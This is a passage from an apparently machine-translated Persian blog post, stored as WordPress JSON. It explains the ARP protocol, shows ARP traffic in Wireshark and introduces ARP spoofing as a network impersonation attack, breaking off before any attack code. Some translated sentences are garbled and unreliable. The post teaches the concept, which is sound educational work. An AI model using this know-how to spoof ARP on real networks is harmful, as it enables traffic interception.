{"id":18548,"date":"2023-04-20T08:21:39","date_gmt":"2023-04-20T04:51:39","guid":{"rendered":"https:\/\/nabfollower.com\/blog\/what-is-arp-spoofing-52dh\/"},"modified":"2023-04-20T08:21:39","modified_gmt":"2023-04-20T04:51:39","slug":"what-is-arp-spoofing-52dh","status":"publish","type":"post","link":"https:\/\/nabfollower.com\/blog\/what-is-arp-spoofing-52dh\/","title":{"rendered":"\ud83d\udedc ARP Spoofing \u0686\u06cc\u0633\u062a\u061f"},"content":{"rendered":"<div data-article-id=\"1441456\" id=\"article-body\">\n<p><strong>\u067e\u0633\u062a \u0627\u0635\u0644\u06cc<\/strong><\/p>\n<p>\u067e\u0631\u0648\u062a\u06a9\u0644 ARP \u062a\u0648\u0633\u0637 \u06a9\u0627\u0645\u067e\u06cc\u0648\u062a\u0631\u0647\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u0631\u0648\u0632\u0627\u0646\u0647 \u06cc\u0627 \u062d\u062a\u06cc \u0628\u0647 \u0635\u0648\u0631\u062a \u062c\u0632\u0626\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u0634\u0648\u062f.  \u0627\u06cc\u0646 \u06cc\u06a9 \u067e\u0631\u0648\u062a\u06a9\u0644 \u0628\u06cc \u0627\u0647\u0645\u06cc\u062a \u0627\u0633\u062a \u0628\u0647 \u0637\u0648\u0631\u06cc \u06a9\u0647 \u0631\u0627\u06cc\u0627\u0646\u0647 \u0647\u0627 \u0627\u0632 \u0622\u062f\u0631\u0633 \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631\u06cc \u06a9\u0647 \u0622\u062f\u0631\u0633 MAC \u0646\u06cc\u0632 \u0646\u0627\u0645\u06cc\u062f\u0647 \u0645\u06cc \u0634\u0648\u062f\u060c \u06a9\u0647 \u0628\u0647 \u0622\u062f\u0631\u0633 IP \u0645\u0631\u062a\u0628\u0637 \u0627\u0633\u062a\u060c \u0622\u06af\u0627\u0647 \u0628\u0627\u0634\u0646\u062f. <code>192.168.13.37<\/code>.<\/p>\n<p>\u0627\u06cc\u0646 \u067e\u0631\u0648\u062a\u06a9\u0644\u060c \u0645\u0627\u0646\u0646\u062f \u0628\u0633\u06cc\u0627\u0631\u06cc \u062f\u06cc\u06af\u0631\u060c \u0645\u0633\u062a\u0639\u062f \u0622\u0646 \u0627\u0633\u062a <strong>\u062d\u0645\u0644\u0627\u062a \u062c\u0639\u0644<\/strong> \u0648 \u0627\u06cc\u0646 \u0686\u06cc\u0632\u06cc \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0632\u06cc\u0631 \u062a\u0648\u0636\u06cc\u062d \u062e\u0648\u0627\u0647\u0645 \u062f\u0627\u062f.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_84 counter-hierarchy ez-toc-counter-rtl ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">\u0641\u0647\u0631\u0633\u062a \u0645\u0637\u0627\u0644\u0628<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/nabfollower.com\/blog\/what-is-arp-spoofing-52dh\/#%D9%BE%D8%B1%D9%88%D8%AA%DA%A9%D9%84_ARP\" >\u067e\u0631\u0648\u062a\u06a9\u0644 ARP<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/nabfollower.com\/blog\/what-is-arp-spoofing-52dh\/#%D8%B3%D9%86%D8%A7%D8%B1%DB%8C%D9%88%DB%8C_%D9%86%D9%85%D9%88%D9%86%D9%87\" >\u0633\u0646\u0627\u0631\u06cc\u0648\u06cc \u0646\u0645\u0648\u0646\u0647<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/nabfollower.com\/blog\/what-is-arp-spoofing-52dh\/#%D8%A8%D9%88%DB%8C%DB%8C%D8%AF%D9%86_%D8%A8%D8%A7_Wireshark\" >\u0628\u0648\u06cc\u06cc\u062f\u0646 \u0628\u0627 Wireshark<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/nabfollower.com\/blog\/what-is-arp-spoofing-52dh\/#%D8%AC%D8%B9%D9%84_ARP\" >\u062c\u0639\u0644 ARP<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/nabfollower.com\/blog\/what-is-arp-spoofing-52dh\/#%D8%AA%D9%88%D8%B6%DB%8C%D8%AD\" >\u062a\u0648\u0636\u06cc\u062d<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/nabfollower.com\/blog\/what-is-arp-spoofing-52dh\/#%D8%B9%D9%88%D8%A7%D9%82%D8%A8\" >\u0639\u0648\u0627\u0642\u0628<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/nabfollower.com\/blog\/what-is-arp-spoofing-52dh\/#%DA%A9%D8%AF_%D9%85%D8%AB%D8%A7%D9%84_%D8%A8%D8%B1%D8%A7%DB%8C_%D8%AC%D8%B9%D9%84_ARP\" >\u06a9\u062f \u0645\u062b\u0627\u0644 \u0628\u0631\u0627\u06cc \u062c\u0639\u0644 ARP<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/nabfollower.com\/blog\/what-is-arp-spoofing-52dh\/#%D8%B3%D8%A7%D8%AE%D8%AA%D8%A7%D8%B1_%D8%AC%D9%84%D8%B3%D9%87\" >\u0633\u0627\u062e\u062a\u0627\u0631 \u062c\u0644\u0633\u0647<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/nabfollower.com\/blog\/what-is-arp-spoofing-52dh\/#%D8%B3%D8%A7%D8%AE%D8%AA_%D8%A8%D8%B3%D8%AA%D9%87_%D9%87%D8%A7%DB%8C_%D9%BE%D8%A7%D8%B3%D8%AE_ARP\" >\u0633\u0627\u062e\u062a \u0628\u0633\u062a\u0647 \u0647\u0627\u06cc \u067e\u0627\u0633\u062e ARP<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/nabfollower.com\/blog\/what-is-arp-spoofing-52dh\/#%D8%A7%D8%B1%D8%B3%D8%A7%D9%84_%D8%A8%D8%B3%D8%AA%D9%87_%D9%87%D8%A7\" >\u0627\u0631\u0633\u0627\u0644 \u0628\u0633\u062a\u0647 \u0647\u0627<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/nabfollower.com\/blog\/what-is-arp-spoofing-52dh\/#%D9%86%D8%AA%DB%8C%D8%AC%D9%87\" >\u0646\u062a\u06cc\u062c\u0647<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/nabfollower.com\/blog\/what-is-arp-spoofing-52dh\/#%D9%86%D8%AA%DB%8C%D8%AC%D9%87-2\" >\u0646\u062a\u06cc\u062c\u0647<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"%D9%BE%D8%B1%D9%88%D8%AA%DA%A9%D9%84_ARP\"><\/span>\n<p>  \u067e\u0631\u0648\u062a\u06a9\u0644 ARP<br \/>\n<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<blockquote>\n<p>\u067e\u0631\u0648\u062a\u06a9\u0644 Address Resolution Protocol \u06cc\u06a9 \u067e\u0631\u0648\u062a\u06a9\u0644 \u0627\u0631\u062a\u0628\u0627\u0637\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0628\u0631\u0627\u06cc \u06a9\u0634\u0641 \u0622\u062f\u0631\u0633 \u0644\u0627\u06cc\u0647 \u067e\u06cc\u0648\u0646\u062f\u060c \u0645\u0627\u0646\u0646\u062f \u06cc\u06a9 \u0622\u062f\u0631\u0633 \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631\u06cc\u060c \u0645\u0631\u062a\u0628\u0637 \u0628\u0627 \u06cc\u06a9 \u0622\u062f\u0631\u0633 \u0644\u0627\u06cc\u0647 \u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u0645\u0639\u06cc\u0646\u060c \u0645\u0639\u0645\u0648\u0644\u0627\u064b \u06cc\u06a9 \u0622\u062f\u0631\u0633 IPv4 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u0634\u0648\u062f.  \u0627\u06cc\u0646 \u0646\u06af\u0627\u0634\u062a \u06cc\u06a9 \u062a\u0627\u0628\u0639 \u062d\u06cc\u0627\u062a\u06cc \u062f\u0631 \u0645\u062c\u0645\u0648\u0639\u0647 \u067e\u0631\u0648\u062a\u06a9\u0644 \u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u0627\u0633\u062a. <sup id=\"fnref1\">1<\/sup><\/p>\n<\/blockquote>\n<p>\u0627\u06cc\u0646 \u062a\u0639\u0631\u06cc\u0641 \u0628\u0647 \u0637\u0648\u0631 \u0645\u0633\u062a\u0642\u06cc\u0645 \u0628\u0647 \u0627\u0635\u0644 \u0645\u0637\u0644\u0628 \u0645\u06cc\u200c\u0631\u0648\u062f\u060c \u0627\u0645\u0627 \u0645\u0646 \u0645\u06cc\u200c\u062e\u0648\u0627\u0647\u0645 \u067e\u0631\u0648\u062a\u06a9\u0644 ARP \u0631\u0627 \u0628\u0647 \u0631\u0648\u0634\u06cc \u06af\u0631\u0627\u0641\u06cc\u06a9\u06cc\u200c\u062a\u0631 \u0627\u0632 \u0645\u062a\u0646 \u0646\u0634\u0627\u0646 \u062f\u0647\u0645.<\/p>\n<p>\u067e\u0631\u0648\u062a\u06a9\u0644 ARP \u067e\u0631\u0648\u062a\u06a9\u0644\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u062d\u0627\u0635\u0644 \u0645\u06cc \u06a9\u0646\u062f <strong>\u0622\u062f\u0631\u0633 IPv4 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a<\/strong>\u060c \u0645\u0631\u0628\u0648\u0637\u0647 \u0631\u0627 \u062f\u0631\u06cc\u0627\u0641\u062a \u062e\u0648\u0627\u0647\u06cc\u062f \u06a9\u0631\u062f <strong>\u0622\u062f\u0631\u0633 \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631\u06cc<\/strong> \u0627\u0632 \u062f\u0633\u062a\u06af\u0627\u0647  \u0627\u06cc\u0646 \u0628\u0633\u06cc\u0627\u0631 \u0645\u0647\u0645 \u0627\u0633\u062a \u0632\u06cc\u0631\u0627 \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631 \u0627\u062a\u0631\u0646\u062a \u0628\u0627 \u0622\u0646 \u0627\u0631\u062a\u0628\u0627\u0637 \u0628\u0631\u0642\u0631\u0627\u0631 \u0645\u06cc \u06a9\u0646\u062f <strong>\u0622\u062f\u0631\u0633 \u0647\u0627\u06cc \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631\u06cc<\/strong> \u0648 \u0646\u0647 \u0622\u062f\u0631\u0633 \u0647\u0627\u06cc IP.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"%D8%B3%D9%86%D8%A7%D8%B1%DB%8C%D9%88%DB%8C_%D9%86%D9%85%D9%88%D9%86%D9%87\"><\/span>\n<p>  \u0633\u0646\u0627\u0631\u06cc\u0648\u06cc \u0646\u0645\u0648\u0646\u0647<br \/>\n<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0641\u0631\u0636 \u06a9\u0646\u06cc\u062f \u0686\u0647\u0627\u0631 \u062c\u0632\u0621 \u062f\u0627\u0631\u06cc\u0645:<\/p>\n<ol>\n<li>\n<strong>\u0645\u0634\u062a\u0631\u06cc<\/strong>\u060c \u0645\u0648\u0633\u0648\u0645 \u0628\u0647 <strong>\u062f\u0633\u062a\u06af\u0627\u0647 A<\/strong>\n<\/li>\n<li><strong>\u0631\u0648\u062a\u0631<\/strong><\/li>\n<li>\n<strong>\u062f\u0633\u062a\u06af\u0627\u0647 B<\/strong> \u0628\u0627 \u0622\u062f\u0631\u0633 IP <code>192.168.13.37<\/code>\n<\/li>\n<li>\n<strong>\u062f\u0633\u062a\u06af\u0627\u0647 C<\/strong> \u0628\u0627 \u0622\u062f\u0631\u0633 IP <code>192.168.13.66<\/code>\n<\/li>\n<\/ol>\n<p>\u0645\u0646\u060c <strong>\u0645\u0634\u062a\u0631\u06cc<\/strong> \u0648 <strong>\u062f\u0633\u062a\u06af\u0627\u0647 A<\/strong>\u060c \u0645\u06cc \u062e\u0648\u0627\u0647\u06cc\u062f \u062f\u0627\u062f\u0647 \u0647\u0627 \u0631\u0627 \u0628\u0647 <strong>\u062f\u0633\u062a\u06af\u0627\u0647 B<\/strong>\u060c \u0627\u06af\u0631\u0686\u0647 \u0645\u0646 \u0641\u0642\u0637 \u0622\u062f\u0631\u0633 IPv4 \u0622\u0646 \u0631\u0627 \u0645\u06cc \u062f\u0627\u0646\u0645.  \u067e\u0633 \u062d\u0627\u0644\u0627 \u06a9\u0647 \u0628\u0647 \u0622\u062f\u0631\u0633 \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631\u06cc \u0622\u0646 \u0646\u06cc\u0627\u0632 \u062f\u0627\u0631\u0645\u060c \u06cc\u06a9 \u0631\u0627 \u067e\u062e\u0634 \u062e\u0648\u0627\u0647\u0645 \u06a9\u0631\u062f <strong>\u062f\u0631\u062e\u0648\u0627\u0633\u062a ARP<\/strong> \u0628\u0633\u062a\u0647 \u062f\u0631 \u0634\u0628\u06a9\u0647 \u0628\u0631\u0627\u06cc \u062f\u0631\u06cc\u0627\u0641\u062a \u0622\u062f\u0631\u0633 \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631\u06cc <strong>\u062f\u0633\u062a\u06af\u0627\u0647 B<\/strong>.<\/p>\n<p>\u0627\u06cc\u0646 <strong>\u062f\u0633\u062a\u06af\u0627\u0647 B<\/strong> \u062a\u0634\u062e\u06cc\u0635 \u0645\u06cc \u062f\u0647\u062f \u06a9\u0647 \u0645\u0646 \u0622\u062f\u0631\u0633 \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631\u06cc \u0622\u0646 \u0631\u0627 \u0628\u0631 \u0627\u0633\u0627\u0633 \u0622\u062f\u0631\u0633 IPv4 \u0622\u0646 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0645\u06cc \u06a9\u0646\u0645\u060c \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u06cc\u06a9 \u0631\u0627 \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc \u06a9\u0646\u062f <strong>\u067e\u0627\u0633\u062e ARP<\/strong> \u0628\u0633\u062a\u0647 \u0628\u0647 \u0645\u0646 \u0628\u0627 \u0622\u062f\u0631\u0633 \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631\u06cc \u0622\u0646 \u062f\u0631 \u062f\u0627\u062e\u0644.<\/p>\n<p><\/p>\n<figure><figcaption>\u0646\u0645\u0648\u0646\u0647 \u0627\u06cc \u0627\u0632 \u0633\u0646\u0627\u0631\u06cc\u0648\u06cc ARP \u0645\u0639\u0645\u0648\u0644\u06cc<\/figcaption><\/figure>\n<\/p>\n<p>\u0647\u0646\u06af\u0627\u0645\u06cc \u06a9\u0647 \u0622\u062f\u0631\u0633 \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631 \u062f\u0633\u062a\u06af\u0627\u0647 \u0631\u0627 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u0645\u060c \u0628\u0631\u0627\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u062f\u0631 \u0622\u06cc\u0646\u062f\u0647 \u062f\u0631 \u062c\u062f\u0648\u0644 ARP \u0634\u062e\u0635\u06cc \u0645\u0646 \u0630\u062e\u06cc\u0631\u0647 \u0645\u06cc \u0634\u0648\u062f.  \u062c\u062f\u0648\u0644 ARP \u0631\u0627 \u0645\u06cc \u062a\u0648\u0627\u0646 \u062f\u0631 \u062a\u0631\u0645\u06cc\u0646\u0627\u0644 \u0628\u0627 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0632\u06cc\u0631 \u0645\u0634\u0627\u0647\u062f\u0647 \u06a9\u0631\u062f:<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight shell\"><code>arp <span class=\"nt\">-a<\/span>\n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<h3><span class=\"ez-toc-section\" id=\"%D8%A8%D9%88%DB%8C%DB%8C%D8%AF%D9%86_%D8%A8%D8%A7_Wireshark\"><\/span>\n<p>  \u0628\u0648\u06cc\u06cc\u062f\u0646 \u0628\u0627 Wireshark<br \/>\n<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u0648\u0642\u062a\u06cc \u0628\u0633\u062a\u0647 \u0647\u0627 \u0631\u0627 \u0641\u06cc\u0644\u062a\u0631 \u0645\u06cc \u06a9\u0646\u06cc\u062f\u060c \u062a\u0645\u0627\u0645 \u0633\u0646\u0627\u0631\u06cc\u0648\u0647\u0627\u06cc \u062a\u0648\u0635\u06cc\u0641 \u0634\u062f\u0647 \u062f\u0631 \u0628\u0627\u0644\u0627 \u0628\u0647 \u0631\u0627\u062d\u062a\u06cc \u062f\u0631 Wireshark \u0642\u0627\u0628\u0644 \u0645\u0634\u0627\u0647\u062f\u0647 \u0647\u0633\u062a\u0646\u062f:<\/p>\n<p><img decoding=\"async\" alt=\"\u0628\u0633\u062a\u0647 \u0647\u0627\u06cc \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u06cc ARP \u067e\u062e\u0634 \u0634\u062f\u0647\" src=\"https:\/\/nabfollower.com\/blog\/wp-content\/uploads\/2023\/04\/1681966299_88_\ud83d\udedc-ARP-Spoofing-\u0686\u06cc\u0633\u062a\u061f.png\" loading=\"lazy\" width=\"800\" height=\"101\" title=\"\"><\/p>\n<figure><figcaption>\u0628\u0633\u062a\u0647 \u0647\u0627\u06cc \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u06cc ARP \u067e\u062e\u0634 \u0634\u062f\u0647<\/figcaption><\/figure>\n<\/p>\n<p>\u062f\u0631 \u0628\u0633\u062a\u0647 \u0647\u0627\u06cc \u0628\u0627\u0644\u0627 \u0642\u0637\u0639\u0627\u064b \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0628\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u062f\u0633\u062a\u06af\u0627\u0647 \u0647\u0648\u0627\u0648\u06cc \u0628\u0647 \u0622\u062f\u0631\u0633 \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631\u06cc \u0633\u0647 \u0622\u062f\u0631\u0633 IPv4 \u0646\u06cc\u0627\u0632 \u062f\u0627\u0631\u062f.<\/p>\n<p>\u062d\u0627\u0644 \u0627\u06af\u0631 \u0622\u062f\u0631\u0633 IPv4 \u062f\u0631 \u0634\u0628\u06a9\u0647 \u0648\u062c\u0648\u062f \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f\u060c \u062f\u0633\u062a\u06af\u0627\u0647 \u0645\u0648\u0631\u062f \u0646\u0638\u0631 \u0628\u0627 \u06cc\u06a9 \u067e\u0627\u0633\u062e \u062e\u0648\u0627\u0647\u062f \u062f\u0627\u062f <strong>\u067e\u0627\u0633\u062e ARP<\/strong> \u0628\u0633\u062a\u0647  \u0627\u06cc\u0646 \u0631\u0627 \u0645\u06cc \u062a\u0648\u0627\u0646 \u062f\u0631 Wireshark \u0646\u06cc\u0632 \u0645\u0634\u0627\u0647\u062f\u0647 \u06a9\u0631\u062f:<\/p>\n<p><img decoding=\"async\" alt=\"\u067e\u0627\u0633\u062e ARP \u0628\u0647 \u062f\u0633\u062a\u06af\u0627\u0647 \u0647\u0648\u0627\u0648\u06cc \u0627\u0631\u0633\u0627\u0644 \u0634\u062f\" src=\"https:\/\/nabfollower.com\/blog\/wp-content\/uploads\/2023\/04\/1681966299_774_\ud83d\udedc-ARP-Spoofing-\u0686\u06cc\u0633\u062a\u061f.png\" loading=\"lazy\" width=\"800\" height=\"55\" title=\"\"><\/p>\n<figure><figcaption>\u067e\u0627\u0633\u062e ARP \u0628\u0647 \u062f\u0633\u062a\u06af\u0627\u0647 \u0647\u0648\u0627\u0648\u06cc \u0627\u0631\u0633\u0627\u0644 \u0634\u062f<\/figcaption><\/figure>\n<\/p>\n<p>\u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0622\u062f\u0631\u0633 \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631\u06cc \u062f\u0633\u062a\u06af\u0627\u0647 \u0627\u067e\u0644 \u0628\u0647 \u062f\u0633\u062a\u06af\u0627\u0647 \u0647\u0648\u0627\u0648\u06cc \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc \u0634\u0648\u062f \u0648 \u062f\u0631 \u062c\u062f\u0648\u0644 ARP \u0622\u0646 \u0628\u0631\u0627\u06cc \u06a9\u0634 \u0630\u062e\u06cc\u0631\u0647 \u0645\u06cc \u0634\u0648\u062f.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"%D8%AC%D8%B9%D9%84_ARP\"><\/span>\n<p>  \u062c\u0639\u0644 ARP<br \/>\n<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>\u0627\u06a9\u0646\u0648\u0646 \u06a9\u0647 \u062f\u0627\u0646\u0634 \u0632\u0645\u06cc\u0646\u06cc \u067e\u0631\u0648\u062a\u06a9\u0644 ARP \u0634\u0646\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a\u060c \u0634\u0627\u06cc\u062f \u062c\u0627\u0644\u0628 \u0628\u0627\u0634\u062f \u06a9\u0647 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0628\u0641\u0647\u0645\u06cc\u0645 \u0686\u0647 \u0686\u06cc\u0632\u06cc <strong>\u062c\u0639\u0644 ARP<\/strong> \u0648\u0627\u0642\u0639\u0627 \u0647\u0633\u062a<\/p>\n<h3><span class=\"ez-toc-section\" id=\"%D8%AA%D9%88%D8%B6%DB%8C%D8%AD\"><\/span>\n<p>  \u062a\u0648\u0636\u06cc\u062d<br \/>\n<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u062a\u0639\u0631\u06cc\u0641 \u0627\u0644\u0641 <strong>\u062d\u0645\u0644\u0647 \u062c\u0639\u0644<\/strong> \u0627\u0633\u062a:<\/p>\n<blockquote>\n<p>\u062f\u0631 \u0632\u0645\u06cc\u0646\u0647 \u0627\u0645\u0646\u06cc\u062a \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0648 \u0628\u0647 \u0648\u06cc\u0698\u0647 \u0627\u0645\u0646\u06cc\u062a \u0634\u0628\u06a9\u0647\u060c \u062d\u0645\u0644\u0647 \u062c\u0639\u0644 \u0648\u0636\u0639\u06cc\u062a\u06cc \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0622\u0646 \u0634\u062e\u0635 \u06cc\u0627 \u0628\u0631\u0646\u0627\u0645\u0647 \u0627\u06cc \u0628\u0627 \u062c\u0639\u0644 \u062f\u0627\u062f\u0647 \u0647\u0627 \u0628\u0627 \u0645\u0648\u0641\u0642\u06cc\u062a \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u062f\u06cc\u06af\u0631\u06cc \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0645\u06cc \u0634\u0648\u062f \u062a\u0627 \u0645\u0632\u06cc\u062a\u06cc \u0646\u0627\u0645\u0634\u0631\u0648\u0639 \u0628\u0647 \u062f\u0633\u062a \u0622\u0648\u0631\u062f. <sup id=\"fnref2\">2<\/sup><\/p>\n<\/blockquote>\n<p>\u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0627\u06cc\u0646 \u062f\u0631 \u062d\u0627\u0644 \u062d\u0627\u0636\u0631 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0632\u06cc\u0627\u062f\u06cc \u0627\u0632 \u0686\u0647 \u0686\u06cc\u0632\u06cc \u0645\u06cc \u062f\u0647\u062f <strong>\u062c\u0639\u0644 ARP<\/strong> \u0648\u0627\u0642\u0639\u0627 \u0647\u0633\u062a  \u0628\u0627 \u0627\u0646\u062c\u0627\u0645 \u06cc\u06a9 \u062d\u0645\u0644\u0647 ARP Spoofing \u0645\u0627 \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u062e\u0648\u0627\u0647\u06cc\u0645 \u062f\u0627\u062f <strong>\u0628\u0627 \u062c\u0639\u0644 \u062f\u0627\u062f\u0647 \u0647\u0627 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u062f\u0633\u062a\u06af\u0627\u0647 \u062f\u06cc\u06af\u0631\u06cc \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0634\u0648\u062f<\/strong>.  \u0628\u0631\u062e\u06cc \u0627\u0632 \u0627\u0641\u0631\u0627\u062f \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u0627\u0632 \u0642\u0628\u0644 \u0628\u062f\u0627\u0646\u0646\u062f \u06a9\u0647 \u0686\u06af\u0648\u0646\u0647 \u0627\u06cc\u0646 \u0627\u0645\u0631 \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a.  \u0645\u062f\u062a\u06cc \u0628\u0647 \u062a\u0646\u0647\u0627\u06cc\u06cc \u0628\u0647 \u0622\u0646 \u0641\u06a9\u0631 \u06a9\u0646\u06cc\u062f \u0648 \u0633\u067e\u0633 \u0628\u0647 \u062e\u0648\u0627\u0646\u062f\u0646 \u0627\u062f\u0627\u0645\u0647 \u062f\u0647\u06cc\u062f.<\/p>\n<p>\u0627\u06af\u0631 \u062f\u0631 \u0645\u0648\u0631\u062f \u0622\u0646 \u0641\u06a9\u0631 \u06a9\u0631\u062f\u0647 \u0627\u06cc\u062f <strong>\u067e\u0627\u0633\u062e ARP<\/strong> \u0628\u0633\u062a\u0647\u060c 